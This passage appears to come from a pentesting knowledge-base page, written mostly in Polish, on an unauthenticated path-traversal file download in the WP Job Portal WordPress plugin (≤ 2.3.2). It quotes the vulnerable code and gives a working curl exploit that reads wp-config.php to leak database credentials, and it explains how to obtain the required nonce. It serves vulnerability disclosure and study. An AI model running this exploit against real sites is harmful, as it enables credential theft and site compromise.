Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Inne zadanie, downloadcustomfile, pozwalało odwiedzającym na pobranie dowolnego pliku z dysku przez path traversal. Wrażliwy sink znajduje się w modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
jest kontrolowany przez atakującego i konkatenowany bez sanityzacji. Ponownie, jedyną blokadą jest CSRF nonce, który można pobrać ze strony resume.
Eksploatacja
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Serwer zwraca zawartość wp-config.php
, leaking DB credentials and auth keys.
Odnośniki
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
{{#include ../../banners/hacktricks-training.md}}